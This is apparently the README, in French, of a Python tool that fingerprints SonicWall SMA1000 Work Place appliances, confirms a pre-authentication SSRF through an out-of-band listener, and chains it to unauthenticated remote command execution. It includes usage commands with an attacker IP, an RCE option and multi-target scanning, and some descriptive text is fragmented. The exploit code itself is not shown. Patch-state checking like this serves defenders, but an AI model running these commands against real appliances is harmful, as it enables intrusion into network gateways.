
Outil Python monofichier qui identifie les appliances SonicWall SMA1000 Work Place, sonde et confirme la SSRF pré-authentification (CVE-2026-83548) via une capture hors bande, et enchaîne vers une RCE.
Outil monofichier (Python 3, bibliothèque standard uniquement, zéro dépendance) pour évaluer et exploiter la SSRF de pré-authentification dans l'interface Work Place des appliances SonicWall SMA1000 (6210 / 7210 / 8200v), incluant une chaîne opportuniste vers une RCE non authentifiée via CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Chaîne | CVE-2026-83549 — injection de commandes OS dans l'AMC (post-auth), contournée via la SSRF |
| Mécanisme | L'interface Work Place se comporte comme un proxy direct involontaire : l'appliance transmet des requêtes forgées vers des ressources internes (y compris l'AMC) en utilisant sa propre position réseau privilégiée, sans aucune authentification requise à aucune étape |
| Affecté | SMA1000 ≤ 12.4.3-03453 et ≤ 12.5.0-02835 |
| Corrigé | 12.4.3-03526 / 12.5.0-02952 (avis SonicWall SNWLID-2026-0016) |
| Statut | Exploitée activement dans la nature ; CISA KEV depuis le 2026-09-02 ; aucun contournement — correctif uniquement |
Server: SMA/*, ressources __extraweb__, version
extraite des liens d'aide ; classification par rapport aux builds corrigés (PATCHED / AFFECTED /
POTENTIELLEMENT_AFFECTÉ / NOT_SMA1000)./cgi-bin/ et la forme
« URI absolue comme chemin » du proxy direct) et évalue les anomalies par rapport à une référence :
changement de code de statut, écart de latence, nouveaux en-têtes de réponse, écart de corps.
Les vecteurs fournis par l'opérateur sont acceptés via --vector (répétable).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — l'IP depuis laquelle l'appliance doit pouvoir atteindre votre
listener de capture (127.0.0.1 pour les vérifications locales ; une adresse
visible sur le réseau plus une redirection de port pour le distant). Sans cela,
l'outil devine une IP locale, ce qui ne fonctionne souvent pas dans les
configurations conteneurs/VPN.
| Code | Signification |
|---|---|
| 0 | corrigé / non affecté |
| 1 | affecté par la version, ou SSRF confirmé, ou ligne de firmware affectée avec build exact indéterminé |
| 2 | RCE non authentifié confirmé (chaîne réussie) |
| 3 | la cible n'est pas un portail SMA1000 Work Place |
| 4 | erreur de connexion/autre |
12.5.0) en externe, pas le build de hotfix exact — le résultat courant
est POTENTIALLY_AFFECTED, ce qui nécessite de confirmer le build sur
l'appliance elle-même.